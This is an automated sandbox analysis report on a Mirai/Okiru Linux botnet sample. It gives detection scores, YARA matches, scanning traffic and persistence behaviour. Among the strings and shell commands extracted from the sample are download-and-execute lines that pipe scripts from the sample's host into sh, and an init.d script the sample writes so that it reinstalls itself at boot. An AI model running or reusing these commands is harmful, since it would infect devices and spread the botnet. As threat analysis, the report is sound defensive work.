Linux Analysis Report
x86_32.nn.elf

Overview

General Information

Sample name: x86_32.nn.elf
Analysis ID: 1579415
MD5: 44d6dbc152559ff6470d035ea9d2e574
SHA1: 26addb3e41143c1e92ac9e1f0d910b12677548d5
SHA256: c7eff49e09a1d70f350c098cc1739988ed21afdcec22df1df8c5e0fbc056018d
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 96
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Machine Learning detection for sample
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: x86_32.nn.elf Virustotal: Detection: 36% Perma Link
Source: x86_32.nn.elf ReversingLabs: Detection: 44%
Machine Learning detection for sample
Source: x86_32.nn.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: x86_32.nn.elf String: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104mallocwaitpid/etc/motd%s
Source: x86_32.nn.elf String: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"06

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60214 -> 94.156.227.234:38242
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 69.205.239.214
Source: unknown TCP traffic detected without corresponding DNS query: 5.97.127.42
Source: unknown TCP traffic detected without corresponding DNS query: 3.22.115.13
Source: unknown TCP traffic detected without corresponding DNS query: 104.250.157.28
Source: unknown TCP traffic detected without corresponding DNS query: 80.217.188.196
Source: unknown TCP traffic detected without corresponding DNS query: 185.165.16.185
Source: unknown TCP traffic detected without corresponding DNS query: 165.51.231.8
Source: unknown TCP traffic detected without corresponding DNS query: 192.149.150.148
Source: unknown TCP traffic detected without corresponding DNS query: 23.127.31.64
Source: unknown TCP traffic detected without corresponding DNS query: 188.40.208.246
Source: unknown TCP traffic detected without corresponding DNS query: 108.94.73.145
Source: unknown TCP traffic detected without corresponding DNS query: 35.234.64.95
Source: unknown TCP traffic detected without corresponding DNS query: 189.226.49.88
Source: unknown TCP traffic detected without corresponding DNS query: 159.55.3.136
Source: unknown TCP traffic detected without corresponding DNS query: 218.17.161.66
Source: unknown TCP traffic detected without corresponding DNS query: 174.2.98.98
Source: unknown TCP traffic detected without corresponding DNS query: 33.218.116.225
Source: unknown TCP traffic detected without corresponding DNS query: 212.181.56.101
Source: unknown TCP traffic detected without corresponding DNS query: 211.66.84.66
Source: unknown TCP traffic detected without corresponding DNS query: 5.230.87.127
Source: unknown TCP traffic detected without corresponding DNS query: 193.225.180.215
Source: unknown TCP traffic detected without corresponding DNS query: 19.221.217.219
Source: unknown TCP traffic detected without corresponding DNS query: 17.66.193.188
Source: unknown TCP traffic detected without corresponding DNS query: 194.223.253.142
Source: unknown TCP traffic detected without corresponding DNS query: 192.61.215.223
Source: unknown TCP traffic detected without corresponding DNS query: 150.111.214.239
Source: unknown TCP traffic detected without corresponding DNS query: 39.231.196.229
Source: unknown TCP traffic detected without corresponding DNS query: 134.24.127.82
Source: unknown TCP traffic detected without corresponding DNS query: 168.172.114.125
Source: unknown TCP traffic detected without corresponding DNS query: 132.17.43.69
Source: unknown TCP traffic detected without corresponding DNS query: 63.141.202.242
Source: unknown TCP traffic detected without corresponding DNS query: 66.167.12.32
Source: unknown TCP traffic detected without corresponding DNS query: 220.125.3.185
Source: unknown TCP traffic detected without corresponding DNS query: 211.44.130.11
Source: unknown TCP traffic detected without corresponding DNS query: 217.158.37.212
Source: unknown TCP traffic detected without corresponding DNS query: 119.97.159.31
Source: unknown TCP traffic detected without corresponding DNS query: 188.11.187.110
Source: unknown TCP traffic detected without corresponding DNS query: 213.134.20.231
Source: unknown TCP traffic detected without corresponding DNS query: 216.9.184.183
Source: unknown TCP traffic detected without corresponding DNS query: 23.178.1.162
Source: unknown TCP traffic detected without corresponding DNS query: 37.62.153.105
Source: unknown TCP traffic detected without corresponding DNS query: 124.18.178.197
Source: unknown TCP traffic detected without corresponding DNS query: 154.100.105.75
Source: unknown TCP traffic detected without corresponding DNS query: 209.253.162.166
Source: unknown TCP traffic detected without corresponding DNS query: 19.219.216.216
Source: unknown TCP traffic detected without corresponding DNS query: 24.251.173.55
Source: unknown TCP traffic detected without corresponding DNS query: 123.227.62.28
Source: unknown TCP traffic detected without corresponding DNS query: 156.173.48.48
Source: unknown TCP traffic detected without corresponding DNS query: 84.49.66.235
Source: unknown TCP traffic detected without corresponding DNS query: 205.49.27.99
Source: x86_32.nn.elf, sh.32.dr, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: x86_32.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: x86_32.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: x86_32.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s/snap/snapd/15534
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/x86_32.nn.elf (PID: 6284) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6284) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6284) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6284) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6284) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6284) SIGKILL sent: pid: 6253, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6284) SIGKILL sent: pid: 6340, result: successful Jump to behavior
Yara signature match
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: classification engine Classification label: mal96.spre.troj.evad.linELF@0/9@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/x86_32.nn.elf (PID: 6215) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/x86_32.nn.elf (PID: 6215) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6264) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6271) File: /etc/rc.d/S99sh -> /etc/init.d/sh Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/x86_32.nn.elf (PID: 6215) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6262) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6267) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6377/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6357/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6379/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6378/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6391/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6390/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6392/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6340/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6362/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6384/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6361/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6383/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6386/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6363/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6385/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6388/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6387/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6389/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6380/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6360/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6382/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6040/cmdline Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6381/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6337/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6359/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6336/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6358/status Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6275) File opened: /proc/6339/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/x86_32.nn.elf (PID: 6225) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6261) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6263) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6265) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6266) Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1" Jump to behavior
